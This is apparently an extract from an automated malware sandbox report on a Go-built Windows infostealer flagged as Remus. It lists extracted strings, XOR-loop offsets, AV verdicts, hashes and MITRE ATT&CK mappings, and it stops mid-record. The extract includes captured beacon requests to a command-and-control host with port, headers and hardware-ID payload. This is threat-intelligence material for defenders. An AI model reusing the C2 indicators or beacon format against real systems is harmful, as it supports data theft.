"crypto/internal/impl.Register") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "type:.eq.crypto/internal/impl.implementation" (Indicator: "type:.eq.crypto/internal/impl.implementation") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "type:.eq.crypto/internal/fips140/sha256.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha256.Digest") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "type:.eq.crypto/internal/fips140/sha3.Digest" (Indicator: "type:.eq.crypto/internal/fips140/sha3.Digest") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/sysrand.warnBlocked" (Indicator: "crypto/internal/sysrand.warnBlocked") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/sysrand.Read" (Indicator: "crypto/internal/sysrand.Read") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/sysrand.read" (Indicator: "crypto/internal/sysrand.read") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/sysrand.Read.deferwrap1" (Indicator: "crypto/internal/sysrand.Read.deferwrap1") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/entropy.Depleted" (Indicator: "crypto/internal/entropy.Depleted") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/fips140only.init" (Indicator: "crypto/internal/fips140only.init") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/internal/boring/sig.StandardCrypto" (Indicator: "crypto/internal/boring/sig.StandardCrypto") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/rand.init.0" (Indicator: "crypto/rand.init.0") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin Observed string: "crypto/rand.(*reader).Read" (Indicator: "crypto/rand.(*reader).Read") in Source: e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin2c:T12a6,Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "4219" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 46Host: carogra.biz:4219" Contains base64 string in header "POST" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219" Contains base64 string in header "cacheContent" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219" Contains base64 string in header "Type" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219" Contains base64 string in header "form" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219" Contains base64 string in header "like" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219" Contains base64 string in header "4219" in header "POST / HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Length: 89Host: carogra.biz:4219"2d:Taed,Found XOR loop in file "sample.bin" at offset 95058; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1421133; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1422669; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1432257; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1471009; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1471713; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1474138; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1477978; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1493121; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1494657; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1555862; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1902583; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2542091; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2553807; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1353640; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1969514; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2553599; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 191670; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 229481; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 229841; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 230241; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 232403; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 254993; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 275120; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 418309; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419005; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 419646; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 430025; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1052208; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1113648; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1301788; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1507210; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1525130; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1532211; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1742068; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2067076; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2336036; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2338856; code bytes = 80302e:T9f2," "access_token=&debug=http://carogra.biz:4219-89" HTTP/1.1 200 OK Server: nginx Date: Wed 17 Jun 2026 08:22:42 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 89 Host: carogra.biz:4219" with payload::==> "tag=e2594a3807f783efa9eb7456157a6318&exp=1781459259&hwid=42ee7181e3848a6538cddddbb06e598d" HTTP/1.1 200 OK Server: nginx Date: Wed 17 Jun 2026 08:22:43 GMT Content-Type: application/octet-stream Content-Length: 55 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"37-xmXaVQhW0uHYGG1Oe9AGMkDJ/IM" with response body ==>C29B6019C281C2AAC38F5675C28B4B55C2A6C2BE0C76C398C390C3ABC298C39729C2A263C39BC386C3B12E3636C2BEC38FC3981950C3A9030402C3AE435E582F.......1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790311959799,"unified_at":"2026-09-25T04:52:39.799Z","metadata":{"hashes":{"sha256":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6","sha1":"e5e5aa3ac833947645dbf77cb4ecdc84e7d90b71","md5":"e64d66f2b4bb128725e09ce937862bfa","sha512":"d7acc7b79a995e4913ced42f476485b6ed5d9365635c66cc6569194b56b9e945211724a92570a379c6f09697533a6d6fecfa0344d79b34ef5f3dd53803036ffb","ssdeep":"24576:3E/tEXGDK6A0EkPMvRQVpJyBT1GPUEqV6YvWg1jnvA2Bele5IK2ml4r6DJy6S6fR:3E/tGmBA01MJYQROd18hQKiO","ssdeep_chunks":["24576:3E/tEXG","24576:E/tEXGD","24576:/tEXGDK","24576:tEXGDK6","24576:EXGDK6A","24576:XGDK6A0","24576:GDK6A0E","24576:DK6A0Ek","24576:K6A0EkP","24576:6A0EkPM","24576:A0EkPMv","24576:0EkPMvR","24576:EkPMvRQ","24576:kPMvRQV","24576:PMvRQVp","24576:MvRQVpJ","24576:vRQVpJy","24576:RQVpJyB","24576:QVpJyBT","24576:VpJyBT1","24576:pJyBT1G","24576:JyBT1GP","24576:yBT1GPU","24576:BT1GPUE","24576:T1GPUEq","24576:1GPUEqV","24576:GPUEqV6","24576:PUEqV6Y","24576:UEqV6Yv","24576:EqV6YvW","24576:qV6YvWg","24576:V6YvWg1","24576:6YvWg1j","24576:YvWg1jn","24576:vWg1jnv","24576:Wg1jnvA","24576:g1jnvA2","24576:1jnvA2B","24576:jnvA2Be","24576:nvA2Bel","24576:vA2Bele","24576:A2Bele5","24576:2Bele5I","24576:Bele5IK","24576:ele5IK2","24576:le5IK2m","24576:e5IK2ml","24576:5IK2ml4","24576:IK2ml4r","24576:K2ml4r6","24576:2ml4r6D","24576:ml4r6DJ","24576:l4r6DJy","24576:4r6DJy6","24576:r6DJy6S","24576:6DJy6S6","24576:DJy6S6f","24576:Jy6S6fR","49152:3E/tEXG","49152:E/tEXGD","49152:/tEXGDK","49152:tEXGDK6","49152:EXGDK6A","49152:XGDK6A0","49152:GDK6A0E","49152:DK6A0Ek","49152:K6A0EkP","49152:6A0EkPM","49152:A0EkPMv","49152:0EkPMvR","49152:EkPMvRQ","49152:kPMvRQV","49152:PMvRQVp","49152:MvRQVpJ","49152:vRQVpJy","49152:RQVpJyB","49152:QVpJyBT","49152:VpJyBT1","49152:pJyBT1G","49152:JyBT1GP","49152:yBT1GPU","49152:BT1GPUE","49152:T1GPUEq","49152:1GPUEqV","49152:GPUEqV6","49152:PUEqV6Y","49152:UEqV6Yv","49152:EqV6YvW","49152:qV6YvWg","49152:V6YvWg1","49152:6YvWg1j","49152:YvWg1jn","49152:vWg1jnv","49152:Wg1jnvA","49152:g1jnvA2","49152:1jnvA2B","49152:jnvA2Be","49152:nvA2Bel","49152:vA2Bele","49152:A2Bele5","49152:2Bele5I","49152:Bele5IK","49152:ele5IK2","49152:le5IK2m","49152:e5IK2ml","49152:5IK2ml4","49152:IK2ml4r","49152:K2ml4r6","49152:2ml4r6D","49152:ml4r6DJ","49152:l4r6DJy","49152:4r6DJy6","49152:r6DJy6S","49152:6DJy6S6","49152:DJy6S6f","49152:Jy6S6fR","24576:3E/tGmB","24576:E/tGmBA","24576:/tGmBA0","24576:tGmBA01","24576:GmBA01M","24576:mBA01MJ","24576:BA01MJY","24576:A01MJYQ","24576:01MJYQR","24576:1MJYQRO","24576:MJYQROd","24576:JYQROd1","24576:YQROd18","24576:QROd18h","24576:ROd18hQ","24576:Od18hQK","24576:d18hQKi","24576:18hQKiO"],"imphash":"d42595b695fc008ef2c56aabd8efd68e"},"file_info":{"file_name":"e2677f9873274823b8f69540c476fa929ae1d33efce4524a60b3c46ebf6c80f6.bin","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":2567544,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1781683860000,"last_seen":1781776888000,"last_multi_scan":1781776888000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["remusstealer","commodity","criminal","informationstealer","malicious"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":27},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":67},"sandbox_signatures":{"informative_count":138,"suspicious_count":11,"malicious_count":4,"total":153},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Infostealer/Win.Remus","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan[Backdoor]/Win64.Gobin","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/W64.Evo","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.80569109","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"Trojan_Win32_Wacatac_C_ml","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Trojan.GenericKD.80569109 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of WinGo/Kryptik.TV trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W64/ABmRisk.VOXH-5778","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to load modules (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Persistence","technique":"Local Account","attack_id":"T1136.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1136/001","identifiers":[{"type":"informative","value":"Contains ability to create a new user account (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a32593ab593dbce9601b04e"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Possibly references Golang binary related string"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES encryption"},{"type":"suspicious","value":"Timestamp in PE header is very old or in the future"},{"type":"suspicious","value":"YARA signature match - ChaCha20 encryption 